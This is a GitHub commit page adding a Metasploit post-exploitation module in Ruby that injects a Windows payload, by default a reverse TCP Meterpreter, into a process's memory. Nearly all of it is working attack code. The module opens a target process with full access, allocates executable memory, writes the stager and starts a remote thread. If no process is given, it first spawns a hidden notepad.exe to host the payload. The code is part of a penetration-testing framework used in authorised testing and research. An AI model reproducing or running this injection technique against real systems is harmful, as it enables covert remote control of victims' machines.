Skip to content

Commit e93b7ff

Browse files
committed
Add Carlos Perez's payload injection module
See rapid7#1201
1 parent d354982 commit e93b7ff

File tree

1 file changed

+127
-0
lines changed

1 file changed

+127
-0
lines changed
Lines changed: 127 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,127 @@
1+
##
2+
# ## This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
require 'rex'
10+
require 'msf/core/exploit/exe'
11+
12+
class Metasploit3 < Msf::Exploit::Local
13+
Rank = ExcellentRanking
14+
15+
def initialize(info={})
16+
super( update_info( info,
17+
'Name' => 'Windows Manage Memory Payload Injection Module',
18+
'Description' => %q{
19+
This module will inject into the memory of a process a specified windows payload.
20+
If a payload or process is not provided one will be created by default
21+
using a reverse x86 TCP Meterpreter Payload.
22+
},
23+
'License' => MSF_LICENSE,
24+
'Author' =>
25+
[
26+
'Carlos Perez <carlos_perez[at]darkoperator.com>'
27+
],
28+
'Platform' => [ 'win' ],
29+
'SessionTypes' => [ 'meterpreter' ],
30+
'Targets' => [ [ 'Windows', {} ] ],
31+
'DefaultTarget' => 0,
32+
'DisclosureDate'=> "Oct 12 2011"
33+
))
34+
35+
register_options(
36+
[
37+
OptInt.new('PID',
38+
[false, 'Process Identifier to inject of process to inject payload.'])
39+
], self.class)
40+
end
41+
42+
# Run Method for when run command is issued
43+
def exploit
44+
# syinfo is only on meterpreter sessions
45+
print_status("Running module against #{sysinfo['Computer']}") if not sysinfo.nil?
46+
47+
pid = datastore['PID']
48+
49+
if pid == 0
50+
pid = create_temp_proc()
51+
end
52+
53+
if payload.send(:pinst).arch.first =~ /64/ and client.platform =~ /x86/
54+
print_error("You are trying to inject to a x64 process from a x86 version of Meterpreter.")
55+
print_error("Migrate to an x64 process and try again.")
56+
return false
57+
else
58+
inject_into_pid(pid,datastore['NEWPROCESS'])
59+
end
60+
end
61+
62+
# Checks the Architeture of a Payload and PID are compatible
63+
# Returns true if they are false if they are not
64+
def arch_check(pid)
65+
# get the pid arch
66+
client.sys.process.processes.each do |p|
67+
# Check Payload Arch
68+
if pid == p["pid"]
69+
print_status("Process found checking Architecture")
70+
if payload.send(:pinst).arch.first == p['arch']
71+
print_good("Process is the same architecture as the payload")
72+
return true
73+
else
74+
print_error("The PID #{ p['arch']} and Payload #{payload.send(:pinst).arch.first} architectures are different.")
75+
return false
76+
end
77+
end
78+
end
79+
end
80+
81+
# Creates a temp notepad.exe to inject payload in to given the payload
82+
# Returns process PID
83+
def create_temp_proc()
84+
windir = client.fs.file.expand_path("%windir%")
85+
# Select path of executable to run depending the architecture
86+
if payload.send(:pinst).arch.first== "x86" and client.platform =~ /x86/
87+
cmd = "#{windir}\\System32\\notepad.exe"
88+
elsif payload.send(:pinst).arch.first == "x86_64" and client.platform =~ /x64/
89+
cmd = "#{windir}\\System32\\notepad.exe"
90+
elsif payload.send(:pinst).arch.first == "x86_64" and client.platform =~ /x86/
91+
cmd = "#{windir}\\Sysnative\\notepad.exe"
92+
elsif payload.send(:pinst).arch.first == "x86" and client.platform =~ /x64/
93+
cmd = "#{windir}\\SysWOW64\\notepad.exe"
94+
end
95+
# run hidden
96+
proc = client.sys.process.execute(cmd, nil, {'Hidden' => true })
97+
return proc.pid
98+
end
99+
100+
def inject_into_pid(pid,newproc)
101+
print_status("Performing Architecture Check")
102+
# If architecture check fails and a new process is wished to inject to one with the proper arch
103+
# will be created
104+
if arch_check(pid)
105+
pid = create_temp_proc() if newproc
106+
print_status("Injecting #{payload.send(:pinst).name} into process ID #{pid}")
107+
begin
108+
print_status("Opening process #{pid}")
109+
host_process = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)
110+
print_status("Generating payload")
111+
raw = payload.generate
112+
print_status("Allocating memory in procees #{pid}")
113+
mem = host_process.memory.allocate(raw.length + (raw.length % 1024))
114+
# Ensure memory is set for execution
115+
host_process.memory.protect(mem)
116+
print_status("Allocated memory at address #{"0x%.8x" % mem}, for #{raw.length} byte stager")
117+
print_status("Writing the stager into memory...")
118+
host_process.memory.write(mem, raw)
119+
host_process.thread.create(mem, 0)
120+
print_good("Successfully injected payload in to process: #{pid}")
121+
rescue ::Exception => e
122+
print_error("Failed to Inject Payload to #{pid}!")
123+
print_error(e.to_s)
124+
end
125+
end
126+
end
127+
end

0 commit comments

Comments
 (0)